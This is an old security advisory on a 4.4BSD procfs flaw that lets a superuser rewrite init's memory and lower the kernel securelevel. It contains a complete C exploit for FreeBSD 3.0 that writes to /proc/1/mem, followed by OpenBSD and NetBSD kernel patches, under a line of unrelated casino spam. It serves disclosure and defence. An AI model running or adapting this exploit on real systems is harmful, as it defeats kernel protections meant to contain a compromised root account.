Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
1st Jan 1996 [SBWID-98]
COMMAND
	    securelevels (kernel)
SYSTEMS AFFECTED
	    It is  believed that  all 4.4BSD  operating systems  are currently
	    vulnerable  to  this  problem.   Known:  OpenBSD  2.0. 2.1 (except
	    current), FreeBSD (except current), NetBSD (all versions).
PROBLEM
	    This info is based on Thomas H. Ptacek's post.
	    Certain security measures in the 4.4BSD kernel rely on a  variable
	    called the "securelevel",  which is intended  to allow the  system
	    to run  with heightened  security after  initializations that  may
	    require   extra   flexibility.   Mechanisms   that   rely  on  the
	    securelevel  are  inactive  until  the  securelevel is raised to a
	    nonzero value.
	    The securelevels  system relies  on the  fact that  no user on the
	    system, including the superuser,  can lower the variable  after it
	    has been raised.  This allows securelevels to be used to implement
	    protections in the kernel against a compromised superuser account.
	    A commonly-used example is the filesystem "immutable" flag,  which
	    prevents  flagged  files  from  being  modified  by  anyone on the
	    system, including the superuser.
	    The process of transitioning the system into single-user mode from
	    multi-user mode involves  several functions that  require enhanced
	    access to system  internals. Because of  this, the "init"  process
	    has the exclusive  ability to decrease  the system securelevel  to
	    facilitate  this  process.  In  recognition  of  this,   in-kernel
	    process-level  debugging  utilities,  such  as the ptrace() system
	    call, do not function on the "init" process.
	    The 4.4BSD  process filesystem  presents a  filesystem perspective
	    to the process table. Process  information tools such as "ps"  can
	    read the process filesystem information as directories and  files,
	    instead of digging  through kernel memory  directly. Additionally,
	    process  debugging  tools  can   use  procfs  to  modify   running
	    processes.   Like  ptrace(),  the  procfs  code  has recently been
	    modified to prevent the subversion of the running init process.
	    Unfortunately, a  vulnerability in  the procfs  code remains which
	    allows a  user with  superuser credentials  to modify  the running
	    init  process  and  force  it  to  reduce  the system securelevel.
	    Although the "attach" command,  which is the procfs  equivalent to
	    the "attach" interface provided by ptrace(), is disallowed on  the
	    init  process,  write  access  to  the  virtual memory of the init
	    process remains enabled. Modification to the running init  process
	    image can be used to subvert the process.
	    The  4.4BSD  process  filesystem  describes  each  process  with a
	    series of  files, including  "status", which  provides the process
	    status, "regs",  which details  the register  set of  the process,
	    "mem", which provides access to  the memory image of the  process,
	    and "ctl",  which provides  an interface  to process  control. The
	    procfs  vulnerability  described  in  this  advisory  exploits the
	    "mem" process description file.
	    By opening  the "mem"  file of  the running  init process  up in a
	    write mode, the  virtual memory image  of the init  process can be
	    modified.  This  access can be  used to alter  the executable code
	    of the running process in it's text segment.
	    This can  easily be  exploited to  reduce the  securelevel of  the
	    system by altering code in init that already involves modification
	    of the  securelevel. One  place where  this occurs  is within  the
	    "multi_user()" routine,  which sets  the securelevel  to "1"  upon
	    entry   (expressing   the   default   behavior   of  running  with
	    securelevels enabled after initializing the system).
	    The relevant code is:
	
	        if(getsecuritylevel() == 0)
	                setsecuritylevel(1);
	
	    By excercising write access to the text of the init process,  that
	    code can be altered to set  the securelevel to 0 by modifying  two
	    bytes of executable code -  one two cause the "if"  conditional to
	    evaluate true after  the system has  entered multi-user mode,  and
	    one to alter  the value passed  to "setsecuritylevel" from  "1" to
	    "0", affecting a reduction in the system securelevel.
	    The newly modified code now reads:
	
	        if(getsecuritylevel() != 0)
	                setsecuritylevel(0);
	
	    The init  program is  a finite  state machine  driven by  function
	    pointers.   The  program  can  be  forced  to call multi_user() by
	    setting a  function pointer  (using the  "mem" file  again) to the
	    address of this  routine. The next  time "init" changes  state, it
	    will call multi_user() and reduce the securelevel.
	    The following  code will  compile and  run on  any 4.4BSD  system.
	    However, it relies  on offsets into  the memory image  of the init
	    process that  may change  from OS  to OS,  and from compilation to
	    compilation.  Attempting  to  run  this  program  on  an operating
	    system other than the one  for which it was intended  will corrupt
	    the text of  the init process,  and probably cause  your system to
	    crash.  Use caution when attempting to use this program to  assess
	    your vulnerability.
	    After  successfully  running  the  program,  the  next  init state
	    transition will result in the system securelevel being reduced  to
	    "0".
	
	    ----- cut here -----
	    /* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */
	    #include <stdio.h>
	    #include <fcntl.h>
	    #include <errno.h>
	    /* these offsets are for FreeBSD 3.0 /sbin/init. Incorrect offsets
	     * will cause your system to crash.
	     */
	    /* offset to the beginning of the multi_user() routine */
	     * OpenBSD: 0x2eb4
	     */
	    #define  MULTI_USER_ROUTINE             0x27f8
	    /* offset of the JNE instruction in multi_user()       */
	     * OpenBSD: 0x2eb4 + 21
	     */
	    #define  EVALUATE_TRUE                  (0x27f8 + 21)
	    /* offset of the argument to the PUSH instruction      */
	     * OpenBSD: 0x2eb4 + 24
	     */
	    #define  SET_TO_ZERO                    (0x27f8 + 24)
	    /* offset of the "requested_transition" variable       */
	     * OpenBSD: 0x290b8
	     */
	    #define  TRANSITION_TO_MULTI_USER       0x2f0a0
	    #define  INIT_MEMORY_FILE               "/proc/1/mem"
	    /* invariant */
	    #define  JNE                            0x74
	    extern int errno;
	    int main(int argc, char **argv) {
	            int init_mem;
	            char c;
	            int i;
	            /* access init's virtual memory image */
	            init_mem = open(INIT_MEMORY_FILE, O_RDWR);
	            if(init_mem < 0) {
	                    perror("open");
	                    exit(errno);
	            }
	            c = JNE;
	            /* change == to != (JE to JNE)  */
	            lseek(init_mem, EVALUATE_TRUE, SEEK_SET);
	            write(init_mem, &c, 1);
	            c = 0x0;
	            /* change 1 to 0                */
	            lseek(init_mem, SET_TO_ZERO, SEEK_SET);
	            write(init_mem, &c, 1);
	            /* change next state transition to multi_user */
	            i = MULTI_USER_ROUTINE;
	            lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET);
	            write(init_mem, &i, 4);
	            close(init_mem);
	            /* force an init state transition */
	            if(!fork())
	                    exit(0)
	            usleep(10000);
	            exit(0);
	    }
	    ----- cut here -----
	
SOLUTION
	    Two  immediate  fixes  are  available  to  this problem. The first
	    resolves the specific problem  presented by the procfs  interface,
	    and  the  second  prevents  "init"  from  being  able to lower the
	    securelevel at all, resolving  the more general problem  presented
	    by making "init" a target for compromising the kernel.
	    A  workaround  to  the  problem  is  simply  to disable the procfs
	    filesystem in  your kernel  binary, by  not specifying  it in  the
	    kernel config file, reconfiguring  the kernel, rebuilding it,  and
	    rebooting off the new kernel.  This will reduce the  functionality
	    of process debugging tools.
	    The procfs fix involves a modification to sys/miscfs/procfs_subr.c
	    which implements  the procfs_write()  vnode interface.  By causing
	    the procfs_rw() routine  to fail when  the affected process  ID is
	    "1",  "init"  is  now  safeguarded  against  modification from the
	    process filesystem.  An OpenBSD fix to the problem is provided  at
	    the end.  NetBSD too.
	    The   "init"   securelevel   fix   involves   a   modification  to
	    sys/kern/kern_mib.c,  where   the  "sysctl"   interface  to    the
	    "securelevel" variable is implemented.  By causing this  interface
	    to  fail  at  all  times  when  the request attempts to reduce the
	    securelevel, "init" is prevented from compromising the system.
	    To prevent the process  filesystem from enabling the  superuser to
	    modify the running init image,  apply the following patch to  your
	    OpenBSD kernel.
	
	    ----- cut here -----
	    *** sys/miscfs/procfs/procfs_subr.c     Tue Jun 24 15:56:02 1997
	    --- sys-old/miscfs/procfs/procfs_subr.c Tue Jun 24 15:55:06 1997
	    ***************
	    *** 1,3 ****
	    ! /*    $OpenBSD: procfs_subr.c,v 1.5 1997/04/06 07:00:14 millert Exp $ */
	      /*    $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $        */
	    --- 1,3 ----
	    ! /*    $OpenBSD: procfs_subr.c,v 1.6 1997/06/21 12:19:45 deraadt Exp $ */
	      /*    $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $        */
	    ***************
	    *** 222,225 ****
	    --- 222,228 ----
	            if (p == 0)
	                    return (EINVAL);
	    +       /* Do not permit games to be played with init(8) */
	    +       if (p->p_pid == 1 && securelevel > 0 && uio->uio_rw == UIO_WRITE)
	    +               return (EPERM);
	            switch (pfs->pfs_type) {
	    ----- cut here -----
	
	    To  prevent  "init"  from  being  able  to  decrease  the   system
	    securelevel, apply the following patch to your OpenBSD kernel.
	
	    ----- cut here -----
	
	    *** kern_sysctl.c.orig  Tue Jun 24 17:28:52 1997
	    --- kern_sysctl.c       Tue Jun 24 17:29:37 1997
	    ***************
	    *** 238,242 ****
	                            return (error);
	                    if ((securelevel > 0 || level < -1)
	    !                   && level < securelevel && p->p_pid != 1)
	                            return (EPERM);
	                    securelevel = level;
	    --- 238,242 ----
	                            return (error);
	                    if ((securelevel > 0 || level < -1)
	    !                   && level < securelevel)
	                        return (EPERM);
	                    securelevel = level;
	    ----- cut here -----
	
	    Here's a patch for NetBSD which fixes this:
	
	    Index: procfs_subr.c
	    ===================================================================
	    RCS file: /cvsroot/src/sys/miscfs/procfs/procfs_subr.c,v
	    retrieving revision 1.18
	    diff -c -2 -r1.18 procfs_subr.c
	    *** procfs_subr.c       1997/05/05 07:35:13     1.18
	    --- procfs_subr.c       1997/06/25 11:17:52
	    ***************
	    *** 222,225 ****
	    --- 222,242 ----
	            switch (pfs->pfs_type) {
	    +       case Pregs:
	    +       case Pfpregs:
	    +       case Pmem:
	    +               /*
	    +                * Do not allow init to be modified while in secure mode; it
	    +                * could be duped into changing the security level.
	    +                */
	    +               if (uio->uio_rw == UIO_WRITE &&
	    +                   p == initproc && securelevel > -1)
	    +                       return (EPERM);
	    +               break;
	    +
	    +       default:
	    +               break;
	    +       }
	    +
	    +       switch (pfs->pfs_type) {
	            case Pnote:
	            case Pnotepg:
	
	

Internet highlights